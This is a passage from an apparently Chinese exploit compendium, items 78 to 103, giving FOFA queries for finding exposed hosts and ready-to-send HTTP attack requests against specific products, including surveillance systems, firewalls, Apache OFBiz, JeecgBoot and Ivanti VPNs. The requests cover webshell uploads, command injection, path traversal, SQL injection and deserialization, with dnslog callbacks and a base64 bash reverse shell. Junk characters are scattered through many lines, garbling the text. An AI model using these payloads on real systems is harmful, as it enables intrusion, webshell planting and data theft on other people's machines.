Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
% s- O. K+ `. x2 M2 D/ HContent-Type: multipart/form-data; boundary=----------398jnjVTTlDVXHlE7yYnfwBoix
" h6 i/ Y, p2 i# ~. S  }( |
------------398jnjVTTlDVXHlE7yYnfwBoix
) i8 T( p  H; o' k/ xContent-Disposition: form-data; name="folder"

/upload/udplog
# H# H( P# n, I& X, q! `------------398jnjVTTlDVXHlE7yYnfwBoix
* s. p6 @; |" O+ z7 E, u1 wContent-Disposition: form-data; name="Filedata"; filename="1.aspx"
+ d9 V5 V, h! \! k- @" IContent-Type: application/octet-stream

hello1234567
( ^2 Q0 K: @2 i# B* e4 j: K------------398jnjVTTlDVXHlE7yYnfwBoix
Content-Disposition: form-data; name="Upload"
9 R' ^: P  w: Y, @+ w8 R& {
3 }  u$ n! R" G2 eSubmit Query
------------398jnjVTTlDVXHlE7yYnfwBoix--

0 K0 _1 E1 O' K: P- \9 Z
0 l3 {. v% \3 w( V  r8 o2 k78. pkpmbs 建设工程质量监督系统 FileUpload.ashx 文件上传
: M- l( k3 R& m/ k2 tFOFA：icon_hash="2001627082"
POST /Platform/System/FileUpload.ashx HTTP/1.1
Host: x.x.x.x
+ l4 d4 u% @) C' U1 ~0 V, zUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
Content-Length: 336
) W0 u$ G$ Q8 q0 bAccept-Encoding: gzip
6 J: s9 R  }; H2 jContent-Type: multipart/form-data; boundary=----YsOxWxSvj1KyZow1PTsh98fdu6l

9 P7 t. x: w) ~8 z) d+ {------YsOxWxSvj1KyZow1PTsh98fdu6l
0 J" D" B4 n; R2 i* YContent-Disposition: form-data; name="file"; filename="YsOxWxSvj1KyZow1PTsh98fdu6l.txt"
; Q8 f5 W2 P8 {& n3 }. BContent-Type: image/png

) Q/ Q. ^- b9 yYsOxWxSvj1KyZow1PTsh98fdu6l
------YsOxWxSvj1KyZow1PTsh98fdu6l
Content-Disposition: form-data; name="target"
! }: b% C9 E+ |8 e7 p( e, Q
/Applications/SkillDevelopAndEHS/
1 N0 L$ D! @1 G2 k: |------YsOxWxSvj1KyZow1PTsh98fdu6l--
% P+ k# H; x& e9 J! h
& d% [& d& u% H4 Q& e  f! p
GET /Applications/SkillDevelopAndEHS/YsOxWxSvj1KyZow1PTsh98fdu6l.txt HTTP/1.1
Host: x.x.x.x
- L: y# O1 {7 o( \

- G7 O2 O" V/ ^9 ]79. BYTEVALUE 百为流控路由器远程命令执行
) Y, ?8 g/ ?1 y* G* k6 G# sFOFA：BYTEVALUE 智能流控路由器
GET /goform/webRead/open/?path=|id HTTP/1.1
Host:IP
. F$ {( o& }8 z/ {, ?User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
5 j4 ], E/ e; KAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
% n2 }7 q) B: o4 F( g) z9 aAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
& M: i1 l/ X7 L; L: ^6 zAccept-Encoding: gzip, deflate
- D; M5 I! r, h/ JConnection: close
; f* q: o& L9 E" o" ZUpgrade-Insecure-Requests: 1


80. 速达天耀软件DesignReportSave.jsp接口存在任意文件上传
' C; E3 U% [8 L7 q" _FOFA：app="速达软件-公司产品"
POST /report/DesignReportSave.jsp?report=../xykqmfxpoas.jsp HTTP/1.1
. B% D# \# ^, C: p8 \: jHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
* R' [& s5 |5 HContent-Length: 27
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
, N: m* X# Q4 L  PAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
Content-Type: application/octet-stream
Upgrade-Insecure-Requests: 1
9 _# }  t! |: C$ M% z. J
) f3 D/ K, O1 K* O/ {! ]<% out.print("oessqeonylzaf");%>

1 d1 \0 G" x: f" E( J9 l2 B" |/ k
GET /xykqmfxpoas.jsp HTTP/1.1
  s2 H" t) Y- _5 D, EHost: x.x.x.x
+ ], C) y2 K4 c9 q9 oUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
$ @9 b' I3 v" m. i" O. |* OAccept-Encoding: gzip
0 D0 o7 I2 s' K

) F% C  t% w9 h. \7 b81. 宇视科技视频监控宇视(Uniview)main-cgi密码泄露
3 m3 i" q7 y( s. GFOFA：app="uniview-视频监控"
GET /cgi-bin/main-cgi?json={"cmd":255,"szUserName":"","u32UserLoginHandle":-1} HTTP/1.1
9 m0 g& t7 i6 t8 |0 j% p) U- wHost: x.x.x.x
5 w$ b; e- n0 P2 TUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
$ z/ y$ Z% o, h, L# ZAccept-Encoding: gzip
6 }/ {/ I+ q- \0 d8 h6 X# Z
3 o8 h9 ]. t" {; w
* c- A. W+ M1 ?8 p0 G: V82. 思福迪LOGBASE运维安全管理系统 test_qrcode_b 远程命令执行
FOFA：app="思福迪-LOGBASE"
+ h7 n3 t1 v, c+ SPOST /bhost/test_qrcode_b HTTP/1.1
Host: BaseURL
User-Agent: Go-http-client/1.1
Content-Length: 23
5 @& @" M; a. O; {Accept-Encoding: gzip
Connection: close
; ]' f/ n7 I5 p! z2 BContent-Type: application/x-www-form-urlencoded
Referer: BaseURL

' U1 W+ F6 L" }5 M* Gz1=1&z2="|id;"&z3=bhost
! U" }, m( a% a9 h0 _7 v
$ ?/ R4 |* o: O. C! [
  @0 M& t: R2 n7 q/ M* W6 G( G/ M83. JeecgBoot testConnection 远程命令执行
, k% l6 O3 _1 ]# RFOFA：title=="JeecgBoot 企业级低代码平台"
% f5 k# R% b; C) ]& f" s

1 R1 w& a- A; YPOST /jmreport/testConnection HTTP/1.1
+ Z7 A: s( ]" Z4 |7 g9 g3 kHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
Content-Length: 8881
Accept-Encoding: gzip
Cmd: echo "2ZTvHsq4au3uOQ2mK9OuJb86rdO"
; c% o8 y* D( FContent-Type: application/json
3 K7 `: [8 f0 f5 v* }
PAYLOAD
% a! R* [4 p6 J' i' x
% _: ~8 J$ J9 b84. Jeecg-Boot JimuReport queryFieldBySql 模板注入
( S( E; i' E$ n$ ?( y2 d9 cFOFA：title=="JeecgBoot 企业级低代码平台"
; R% b! R- S8 M4 n5 i9 B


7 C0 B+ J: Z- Y& VPOST /jeecg-boot/jmreport/queryFieldBySql HTTP/1.1
1 @) [0 F, b. _- }Host: 192.168.40.130:8080
' N9 b# B1 f* x7 i: O# A7 iUser-Agent: curl/7.88.1
& d1 E! t2 O/ n: DContent-Length: 156
: q  O% B. M8 {' N" @+ o6 aAccept: */*
3 Q4 l; V% H- @" h. E, E) xConnection: close
Content-Type: application/json
6 }4 e7 t1 f  Q* n: F3 {Accept-Encoding: gzip
: U, r/ Q# ]5 e+ d4 Q2 A- M
{
"sql": "<#assign ex=\"freemarker.template.utility.Execute\"?new()>${ex(\"curl http://ip.port.kr9dqoau.dnslog.pw/`whoami\")}",
  "type": "0"
+ N2 I3 L0 B/ N% r+ v3 g' s2 k}

& n7 V+ X, t: B. ^6 y! h. k% I4 Q
85. SysAid On-premise< 23.3.36远程代码执行
CVE-2023-47246
FOFA：body="sysaid-logo-dark-green.png"
- N. ^3 @4 E! |. w/ DEXP数据包如下，注入哥斯拉马
% G* @# Q5 i7 x) ?2 SPOST /userentry?accountId=../../../tomcat/webapps&symbolName=LDAP_REFRESH_ HTTP/1.1
% K/ a& n* G6 d$ D/ r2 iHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
& z5 z( L& s* X* J" YContent-Type: application/octet-stream
3 B5 G8 l3 |) w, b& R+ y% n1 C+ YAccept-Encoding: gzip
9 N2 U* g( T& N( N% ^6 L: _
* @( K) B* ?8 U. m+ q- P0 R3 aPAYLOAD

回显URL：http://x.x.x.x/userfiles/index.jsp

9 L7 C/ ]6 `3 h86. 日本tosei自助洗衣机RCE
! T6 H- H6 g$ u% n0 g) Q9 [FOFA：body="tosei_login_check.php"
POST /cgi-bin/network_test.php HTTP/1.1
Host: x.x.x.x
; }5 w0 C! b" j2 \7 Y9 d7 }User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1866.237 Safari/537.36
0 Q! w0 V1 ~! N* P6 CConnection: close
Content-Length: 44
9 C! U% l0 P! r" xAccept: */*
% I$ v; x" p/ X. \Accept-Encoding: gzip
Accept-Language: en
Content-Type: application/x-www-form-urlencoded
6 g2 X. F$ m  r5 Y" f4 }9 X
# s& A* y1 G/ C; n- X9 i  J& ghost=%0acat${IFS}/etc/passwd%0a&command=ping


# H4 W- H" }) f; E: @! G7 w87. 安恒明御安全网关aaa_local_web_preview文件上传
FOFA：title="明御安全网关"
/ O( n. h1 C( a, aPOST /webui/?g=aaa_local_web_preview&name=123&read=0&suffix=/../../../jfhatuwe.php HTTP/1.1
Host: X.X.X.X
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
' P6 Y9 X6 |. v/ B. M$ _Connection: close
Content-Length: 198
# ~( R" d0 g4 X$ K. hAccept-Encoding: gzip
4 }! u4 e6 m5 r7 l$ B$ v( y- EContent-Type: multipart/form-data; boundary=qqobiandqgawlxodfiisporjwravxtvd

) Q( P+ v; h/ A9 O2 F* r) U" t: [) A--qqobiandqgawlxodfiisporjwravxtvd
1 R" N$ D1 |! B3 N, O7 MContent-Disposition: form-data; name="123"; filename="9B9Ccd.php"
Content-Type: text/plain
8 X* \4 g3 S' W; K
2ZqGNnsjzzU2GBBPyd8AIA7QlDq
--qqobiandqgawlxodfiisporjwravxtvd--


/jfhatuwe.php
" v' E+ F( P9 X6 w& T1 t
88. 安恒明御安全网关 aaa_portal_auth_config_reset 远程命令执行
FOFA：title="明御安全网关"
! H" O  i& @( K; J9 P/ c1 u. yGET /webui/?g=aaa_portal_auth_config_reset&type=%0aecho%20%27%3C%3Fphp%20echo%20%22assdwdmpidmsbzoabahpjhnokiduw%22%3B%20phpinfo%28%29%3B%20%3F%3E%27%20%3E%3E%20%2Fusr%2Flocal%2Fwebui%2Ftxzfsrur.php%0a HTTP/1.1
* R, q0 e5 O' @) U- wHost: x.x.x.xx.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
* m( ]: g# ~& g6 d( u4 t, EAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
. ^9 c" n. W& N3 p6 c) x3 S3 e0 cAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
% f* c. b- m3 i1 N

$ v4 R/ S8 g# M( c! o5 _/astdfkhl.php

2 B( `% C5 @5 s* }, F89. 致远互联FE协作办公平台editflow_manager存在sql注入
2 r% p/ g+ Z8 B6 @% R- PFOFA：title="FE协作办公平台" || body="li_plugins_download"
  t- e  O" R. r, d/ OPOST /sysform/003/editflow_manager.js%70 HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
& l' w, ]( H& ^0 _7 t& J# R; BConnection: close
! g: ~. x6 b# U1 vContent-Length: 41
: i+ Y$ w: @0 I, J( ~" C& s" RContent-Type: application/x-www-form-urlencoded
& e: Y1 `$ }3 o5 R1 nAccept-Encoding: gzip
; ~7 q6 @+ o4 D* i0 c
option=2&GUID=-1'+union+select+111*222--+
9 S5 s/ l9 K8 N' I. \1 N
' W4 E7 N1 ?5 L& G" j% D
90. 海康威视IP网络对讲广播系统3.0.3_20201113_RELEASE远程命令执行
0 B3 c+ ^$ a/ C$ I0 i4 V3 u2 eFOFA：icon_hash="-1830859634"
POST /php/ping.php HTTP/1.1
- V- r) L3 s' ]/ y# X0 SHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
1 ^4 A$ b7 }) h0 K  I8 |0 [, kContent-Length: 51
Accept: application/json, text/javascript, */*; q=0.01
  X; u$ v  l9 kAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
& i( Q  Y0 }# m' IContent-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest

8 |6 k, @: T5 b2 d: i% D. m: Cjsondata%5Btype%5D=99&jsondata%5Bip%5D=ipconfig
; s3 @0 a9 u/ u( }% M& M3 M" H, d

91. 海康威视综合安防管理平台orgManage/v1/orgs/download任意文件读取
FOFA：title="综合安防管理平台"
GET /center/api/task/..;/orgManage/v1/orgs/download?fileName=../../../../../../../etc/passwd HTTP/1.1
Host: your-ip
' s' }% S! W* K, X; j: n+ ]8 fUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Accept-Encoding: gzip, deflate
6 B: ^% a& C* k) f( AAccept: */*
Connection: keep-alive
% f4 J2 }7 E7 o+ s( W3 W2 y
$ r: G2 @) S; V, Q& [3 }( t

0 ^) X/ r! L6 z5 i1 n/ U( m: p2 z92. 海康威视运行管理中心session命令执行
Fastjson命令执行
+ I3 B! T! l; \8 J# A4 y3 s! lhunter：web.icon=="e05b47d5ce11d2f4182a964255870b76"
POST /center/api/session HTTP/1.1
Host:
% {5 f5 m$ A1 RAccept: application/json, text/plain, */*
$ z, h  |7 z" U& T( s% a/ G) OAccept-Encoding: gzip, deflate
& ~7 _: Y2 K$ O, j  b7 TX-Requested-With: XMLHttpRequest
Content-Type: application/json;charset=UTF-8
X-Language-Type: zh_CN
Testcmd: echo test
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X -1_0_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
) f; ]2 e. T0 ~! C/ z% EAccept-Language: zh-CN,zh;q=0.9
Content-Length: 5778

' M& j6 _- q/ [$ p( YPAYLOAD


93. 奇安信网神SecGate3600防火墙app_av_import_save任意文件上传
$ V) P- p" t2 L% oFOFA：fid="1Lh1LHi6yfkhiO83I59AYg=="
0 s. [( b4 F2 b% G" LPOST /?g=app_av_import_save HTTP/1.1
0 W; R# F2 o  z' L+ \3 ~" |Host: x.x.x.x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarykcbkgdfx
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
7 T8 @+ G# T8 ^6 o/ _: R# s
------WebKitFormBoundarykcbkgdfx
Content-Disposition: form-data; name="MAX_FILE_SIZE"

+ a3 n& ~; R6 O& O( ~, F10000000
------WebKitFormBoundarykcbkgdfx
Content-Disposition: form-data; name="upfile"; filename="xlskxknxa.txt"
Content-Type: text/plain
: b6 u# F3 T, a4 \: L+ `2 n, b
3 R1 _1 _( t. O- L! Iwagletqrkwrddkthtulxsqrphulnknxa
6 \6 T) k6 n! s2 g------WebKitFormBoundarykcbkgdfx
! \2 X9 l, G: e1 AContent-Disposition: form-data; name="submit_post"

obj_app_upfile
# s" c: I( J6 n' W9 Q( K3 w------WebKitFormBoundarykcbkgdfx
Content-Disposition: form-data; name="__hash__"

0b9d6b1ab7479ab69d9f71b05e0e9445
* V- F- p) |* Z: _$ {, b: K4 M------WebKitFormBoundarykcbkgdfx--
6 T) P$ k! @0 [' B

; u$ P4 f* n) p* XGET /attachements/xlskxknxa.txt HTTP/1.1
Host: xx.xx.xx.xx
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
# V) l( I. h- [+ [* z" [+ g

94. 奇安信网神SecGate3600防火墙obj_area_import_save任意文件上传
FOFA：fid="1Lh1LHi6yfkhiO83I59AYg=="
POST /?g=obj_area_import_save HTTP/1.1
4 q- M* p* V6 V  KHost: x.x.x.x
/ g3 P; {5 s  w, o( OContent-Type: multipart/form-data; boundary=----WebKitFormBoundarybqvzqvmt
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36

$ ?' N3 J9 i0 K9 v/ v7 `# N------WebKitFormBoundarybqvzqvmt
4 [8 B. S7 g* H3 Z0 _Content-Disposition: form-data; name="MAX_FILE_SIZE"

10000000
$ L2 d" ^7 f1 K+ v/ X------WebKitFormBoundarybqvzqvmt
* Q" K' c/ P9 N7 n' r! s& q6 ~Content-Disposition: form-data; name="upfile"; filename="cciytdzu.txt"
Content-Type: text/plain

pxplitttsrjnyoafavcajwkvhxindhmu
------WebKitFormBoundarybqvzqvmt
3 }2 f8 N$ ?: E% NContent-Disposition: form-data; name="submit_post"
6 q8 e8 z' g6 I2 @
obj_app_upfile
------WebKitFormBoundarybqvzqvmt
3 K( M: f- y; B2 h; M6 _% a9 }! {Content-Disposition: form-data; name="__hash__"

0b9d6b1ab7479ab69d9f71b05e0e9445
6 t3 x/ M1 t1 k8 v7 J- V* \7 r------WebKitFormBoundarybqvzqvmt--
# ^! R5 l$ T5 K) h, O* D0 h


$ O6 r$ W; N6 BGET /attachements/xlskxknxa.txt HTTP/1.1
3 c  n2 J, U* R  `7 B0 qHost: xx.xx.xx.xx
1 t4 y+ a& D+ V/ n4 A, L  UUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
: L' H3 k9 j: [) i


95. Apache-OFBiz < 18.12.10 xmlrpc远程代码执行
CVE-2023-49070
1 \$ b) @$ E6 y5 ZFOFA：app="Apache_OFBiz"
POST /webtools/control/xmlrpc;/?USERNAME&PASSWORD=s&requirePasswordChange=Y HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
Connection: close
Content-Length: 889
Content-Type: application/xml
Accept-Encoding: gzip

( x1 Y) h. `1 _, v! U3 L: E<?xml version="1.0"?>
3 v; @3 V4 U% Y1 @/ Z+ r9 j# U<methodCall>
$ d. C0 f  U9 |! X, ~   <methodName>2a4UTp2XBzXgziEO3BIFOCbJiI3</methodName>
: d4 a7 c4 l* v7 k% c3 ?1 x4 i    <params>
      <param>
  J# h8 }  c5 D      <value>
' p& s% f+ u; h: w4 V8 s        <struct>
# r) J! x9 k& T- v' n: ?1 \       <member>
: H2 {' ^8 n9 ^$ C# q5 A- F          <name>test</name>
$ q9 q0 Y0 R* a' M          <value>
      <serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">[payload的base64值]</serializable>
0 r8 H9 Y6 W; a% d9 z! b6 `9 [          </value>
9 b# I: N. f) r" l3 R9 \        </member>
8 ^" K! ]" d: C$ c. d      </struct>
      </value>
% g1 T* v7 e+ L" G9 q    </param>
    </params>
</methodCall>

  l7 W: O% p4 k  N  m' V0 {
用ysoserial生成payload
java -jar ysoserial-all.jar CommonsBeanutils1 "ping 41e87zy3.dnslog.pw" | base64 | tr -d "\n"
5 p6 e% a$ s  Y8 n
$ r2 N/ ]7 P# y3 k6 O) U
7 [3 X& ?$ Z/ O; W( p0 H( o将生成的payload替换到上面的POC
& j* f9 G! T1 ZPOST /webtools/control/xmlrpc;/?USERNAME&PASSWORD=s&requirePasswordChange=Y HTTP/1.1
Host: 192.168.40.130:8443
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
Connection: close
Content-Length: 889
Content-Type: application/xml
Accept-Encoding: gzip

PAYLOAD

% C9 M, l% I) j7 c1 ?. w96. Apache OFBiz  18.12.11 groovy 远程代码执行
& t* b( Q+ R. o2 Q; y% X+ Q/ Z( nFOFA：app="Apache_OFBiz"
, x( E, x9 Z- O1 B8 d3 h+ E3 WPOST /webtools/control/ProgramExport/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1
: o0 x- c9 W# l1 p/ O) ?Host: localhost:8443
0 v9 W7 w5 j( yUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
( ]2 m+ Y- `* O/ R# ~Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded
Content-Length: 55

% o# c' I& d# K4 h# v- qgroovyProgram=throw+new+Exception('id'.execute().text);

# K0 b; {4 l8 B, Z" }! d) d' h
反弹shell
在kali上启动一个监听
nc -lvp 7777

POST /webtools/control/ProgramExport/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1
4 \1 B  |+ {! ?" BHost: 192.168.40.130:8443
% C6 d2 h& e6 H" s1 B9 I' H+ M# }User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
! `5 w8 S) b' G; FAccept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
* `: S  }! |, w3 N* O& nContent-Type: application/x-www-form-urlencoded
Content-Length: 71

9 ]1 M6 }( S7 k2 Q% ZgroovyProgram='bash+-c+{echo,YmFzaCUyMC1pJTIwPiYlMjAvZGV2L3RjcC8xOTIuMTY4LjQwLjEyOC83Nzc3JTIwMD4mMQ==}|{base64,-d}|{bash,-i}'.execute();

/ `' B7 N' T; q& U8 E) O97. OneBlog v2.2.2 博客Shiro反序列化远程命令执行
FOFA：body="/assets/js/zhyd.tool.js" || body="OneBlog,开源博客"
) n7 `+ c6 ~$ @0 e9 w" F2 fGET /passport/login/ HTTP/1.1
Host: 192.168.40.130:8085
$ j, E" h( e9 J) b. {' N0 N: sUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Accept-Encoding: gzip
Connection: close
) T- n9 N, i2 Y2 eCookie: rememberMe=PAYLOAD
X-Token-Data: echo "2a4MU6FVYI3qR4AWxn1Bdfh6Ttk"


- r0 u- Q( v. Z9 N98. SpiderFlow爬虫平台远程命令执行
* {6 G/ S0 j% n- Z0 PCVE-2024-0195
) U+ Y% B5 I4 |0 o) l* E% vFOFA：app="SpiderFlow"
POST /function/save HTTP/1.1
Host: 192.168.40.130:8088
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
/ G  {9 H3 O7 U' yConnection: close
( W- v) `" l+ Q/ C$ D7 z0 KContent-Length: 121
! b' S( P0 ^- u7 X! n* LAccept: */*
' a2 R8 {) H5 D! LAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest

: P, c' q' W% @. H) J% _id=1&name=cmd&parameter=rce&script=%7DJava.type('java.lang.Runtime').getRuntime().exec('ping+a4xs0nop.dnslog.pw')%3B%7B


  s8 T! H" T, r( P. \' ^99. Ncast盈可视高清智能录播系统busiFacade RCE
* k6 @1 I+ i0 J8 q& RCVE-2024-0305
FOFA：app="Ncast-产品" && title=="高清智能录播系统"
1 ]" ^3 M  Q1 ?3 w7 }2 [/ NPOST /classes/common/busiFacade.php HTTP/1.1
& R* J$ B' G3 X+ E- dHost: 192.168.40.130:8080
1 G. T+ j5 e, A* S0 |User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Connection: close
6 h3 N# D' N' H5 `/ TContent-Length: 154
5 j; c5 y8 K; B; K, h( y( ~3 ~Accept: */*
Accept-Encoding: gzip, deflate
- _/ z- j5 t: H' gAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
7 ^* R8 ^: s3 `( P' cContent-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
- j) U+ D# ^# C2 u7 o8 G, z- B% w
  Q7 y4 F5 M2 J1 n" O- K8 x%7B%22name%22:%22ping%22,%22serviceName%22:%22SysManager%22,%22userTransaction%22:false,%22param%22:%5B%22ping%20127.0.0.1%20%7C%20echo%20hello%22%5D%7D


100. Likeshop 2.5.7.20210311 File.php userFormImage 文件上传
! g+ P/ E/ V6 m( B; GCVE-2024-0352
FOFA：icon_hash="874152924"
3 V7 j" ]- L( ]0 d2 j4 B' vPOST /api/file/formimage HTTP/1.1
Host: 192.168.40.130
7 M+ P9 j8 {& y9 PUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36
Connection: close
Content-Length: 201
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarygcflwtei
2 G4 L4 m' p7 LAccept-Encoding: gzip
/ [, j2 h5 U* ?  K! H' P
------WebKitFormBoundarygcflwtei
4 a0 z& d, O' L5 q. d! N. kContent-Disposition: form-data; name="file";filename="IE4MGP.php"
Content-Type: application/x-php
4 f+ J& |/ v+ r" {7 Q/ d
2ayyhRXiAsKXL8olvF5s4qqyI2O
/ e) N1 ~- X6 N) r- _$ o: n1 f, p/ T------WebKitFormBoundarygcflwtei--
6 u9 g, a- m/ ]$ `0 c

- _6 y3 ]/ d5 h5 v! I101. ivanti policy secure-22.6命令注入
CVE-2024-21887
FOFA：body="welcome.cgi?p=logo"
; W3 N. \8 B( J+ t/ G  m% |GET /api/v1/totp/user-backup-code/../../license/keys-status/%3bcurl%20a4xs0nop.dnslog.pw HTTP/1.1
$ K" \; T3 @$ D& P# ^5 S* _- SHost: x.x.x.xx.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
Connection: close
$ q" `+ e3 ~2 x+ y9 f+ sAccept-Encoding: gzip


102. Ivanti Pulse Connect Secure VPN SSRF致远程代码执行
3 r* y  r, h/ z" fCVE-2024-21893
; e) S2 K# Q/ `2 e, _  o1 kFOFA：body="welcome.cgi?p=logo"
, O0 @% w+ a* @3 BPOST /dana-ws/saml20.ws HTTP/1.1
Host: x.x.x.x
3 z  }8 \9 C) e+ |6 V; Q9 v' fUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
6 Y) T- _2 f4 \8 V0 ]1 @Connection: close
% f( {. _9 e/ H" WContent-Length: 792
! `( ?) K. U5 wAccept-Encoding: gzip
' W8 E3 {  [% ]( W+ W
* J% {+ c" D0 e<?xml version="1.0" encoding="UTF-8"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body>             <ds:Signature           xmlns:ds="http://www.w3.org/2000/09/xmldsig#">                   <ds:SignedInfo>                        <ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-cc14n#"/>                         <ds:SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/>                    </ds:SignedInfo>                       <<ds:SignatureValue>qwerty</ds:SignatureValue>                    <ds:KeyInfo xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.w3.org/22000/09/xmldsig" xmlns:ds="http://www.w3.org/2000/09/xmldsig#">                         <ds:RetrievalMethod URI="http://kr9dqoau.dnslog.pw"/><<ds:X509Data/>                   </ds:KeyInfo>                  <ds:Object></ds:Object>         </ds:Signature> </soap:Body></soap:Envelope>
* U0 H2 y  V, _$ _6 s. d
" N2 D# K% g, }* `  J2 G  h103. Ivanti Pulse Connect Secure VPN XXE
CVE-2024-22024
- J& ^; l4 i5 ~3 MFOFA：body="welcome.cgi?p=logo"
POST /dana-na/auth/saml-sso.cgi HTTP/1.1
5 Q- f8 T# c  z) pHost: 192.168.40.130:111
